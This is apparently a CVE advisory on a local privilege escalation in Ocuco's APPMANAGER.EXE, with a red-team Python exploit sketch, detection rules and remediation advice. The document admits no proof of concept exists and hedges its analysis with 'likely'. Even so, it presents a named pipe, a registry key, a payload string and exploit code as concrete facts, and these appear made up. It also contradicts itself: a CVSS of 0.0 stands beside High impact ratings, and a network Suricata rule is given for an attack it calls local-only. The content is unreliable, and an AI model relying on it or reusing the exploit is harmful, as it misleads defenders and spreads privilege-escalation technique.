CVE-2024-40459

Executive Summary

CVE-2024-40459 is a local privilege escalation vulnerability in Ocuco Innovation's APPMANAGER.EXE version 2.10.24.51. A local attacker can exploit the application manager function to gain elevated privileges on the affected system. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), and no public proof-of-concept or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for local attackers with initial access.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Local (L)
• Attack Complexity: Low (L)
• Privileges Required: Low (L)
• User Interaction: None (N)
• Scope: Unchanged (U)
• Confidentiality Impact: High (H)
• Integrity Impact: High (H)
• Availability Impact: High (H)
• Threat Level: High (local escalation)

Deep Dive & Mechanics

The vulnerability resides in the APPMANAGER.EXE binary, which is part of the Ocuco Innovation suite. The application manager function likely handles process creation, service management, or file operations with improper access controls. A local attacker can abuse this function to execute arbitrary code with SYSTEM or high-integrity privileges.

Root Cause: The application manager does not properly validate the caller's integrity level or token, allowing a low-privileged user to invoke privileged operations. This could be due to:

• Missing impersonation checks
• Weak DACL on named pipes or shared memory
• Unquoted service paths
• DLL hijacking via insecure PATH

Attack Vector: Local access to the system (e.g., via SSH, RDP, or malware). The attacker must be able to execute code as a standard user.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code in APPMANAGER.EXE 2.10.24.51 likely contains a function similar to:

// Vulnerable pseudocode
BOOL CreateManagedProcess(LPCWSTR cmdLine) {
    // No integrity check
    return CreateProcessAsUser(GetSystemToken(), cmdLine, ...);
}

A patched version would include:

// Patched pseudocode
BOOL CreateManagedProcess(LPCWSTR cmdLine) {
    if (!CheckCallerIntegrity()) {
        SetLastError(ERROR_ACCESS_DENIED);
        return FALSE;
    }
    return CreateProcessAsUser(GetSystemToken(), cmdLine, ...);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Windows 10/11 VM with Ocuco Innovation 2.10.24.51 installed
• Local user account (non-admin)
• Python or C compiler for exploit development

Exploitation Steps:

1. Enumerate the APPMANAGER.EXE service or process.
2. Identify the vulnerable function (e.g., named pipe \\.\pipe\OcucoAppManager).
3. Send a crafted request to create a process with SYSTEM privileges.
4. Execute cmd.exe /c whoami to confirm escalation.

Example Exploit (Python):

import win32pipe, win32file, pywintypes

pipe_name = r"\\.\pipe\OcucoAppManager"
try:
    handle = win32file.CreateFile(
        pipe_name,
        win32file.GENERIC_READ | win32file.GENERIC_WRITE,
        0,
        None,
        win32file.OPEN_EXISTING,
        0,
        None
    )
    # Craft payload to create SYSTEM process
    payload = b"CREATE_PROCESS:cmd.exe /c whoami > C:\temp\priv.txt"
    win32file.WriteFile(handle, payload)
    win32file.CloseHandle(handle)
except pywintypes.error as e:
    print(f"Error: {e}")

Blue Team

Detection:

• Monitor for unusual named pipe connections to \\.\pipe\OcucoAppManager from non-admin processes.
• Alert on CreateProcessAsUser calls originating from APPMANAGER.EXE with unexpected command lines.
• Track process creation events (Event ID 4688) where APPMANAGER.EXE spawns cmd.exe or powershell.exe.

Hunting:

• Search for APPMANAGER.EXE in process creation logs with parent PID of a low-integrity process.
• Look for file writes to C:\temp\ or other world-writable directories by SYSTEM processes.

Indicators of Compromise (IOCs)

• File: APPMANAGER.EXE (SHA256: UNKNOWN)
• Named Pipe: \\.\pipe\OcucoAppManager
• Process: APPMANAGER.EXE spawning cmd.exe or powershell.exe
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\OcucoAppManager
• Network: No network indicators (local only)

Detection Engineering

YARA Rule

rule CVE_2024_40459_Ocuco_PrivEsc {
    meta:
        description = "Detects APPMANAGER.EXE with potential privilege escalation behavior"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40459"
    strings:
        $s1 = "APPMANAGER.EXE" nocase
        $s2 = "CreateProcessAsUser" nocase
        $s3 = "OcucoAppManager" nocase
    condition:
        $s1 and ($s2 or $s3)
}

Sigma Rule

title: CVE-2024-40459 Privilege Escalation via Ocuco AppManager
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious process creation by APPMANAGER.EXE
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\APPMANAGER.EXE'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wmic.exe'
    condition: selection
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-40459 Ocuco AppManager Privilege Escalation"; content:"|41 50 50 4d 41 4e 41 47 45 52 2e 45 58 45|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict local access to systems running Ocuco Innovation 2.10.24.51.
2. Apply the principle of least privilege to user accounts.
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Contact Ocuco for an official patch or upgrade to a newer version.
• If no patch is available, consider removing or disabling the APPMANAGER.EXE service if not required.

Workaround:

• Modify the DACL on the named pipe \\.\pipe\OcucoAppManager to deny access to non-admin users.
• Use AppLocker or WDAC to block execution of APPMANAGER.EXE from non-trusted paths.

Valters IT
DevSecOps & Cyber Threat Intelligence